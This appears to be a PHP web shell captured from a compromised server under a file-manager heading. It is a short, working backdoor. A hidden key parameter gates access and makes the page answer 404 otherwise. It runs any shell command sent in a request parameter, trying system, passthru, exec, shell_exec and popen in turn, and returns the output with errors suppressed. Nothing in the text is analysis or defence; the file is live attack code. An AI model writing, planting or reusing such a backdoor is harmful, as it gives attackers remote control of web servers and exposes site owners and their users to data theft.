Sindbad~EG File Manager

<?php
@error_reporting(0);@ini_set('display_errors',0);
header('X-Bujanginam:Bujanginam');
if(!isset($_REQUEST['k'])||$_REQUEST['k']!=='bujanginam'){http_response_code(404);die();}
$c=@$_REQUEST['c']??'';
if($c===''){echo '<pre>Bujanginam active</pre>';die();}
$o='';
if(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('popen')){$f=@popen($c,'r');$o='';while(!feof($f)){$o.=fread($f,4096);}pclose($f);}
else{$o='[no exec]';}
echo '<pre>'.htmlspecialchars($o).'</pre>';
?>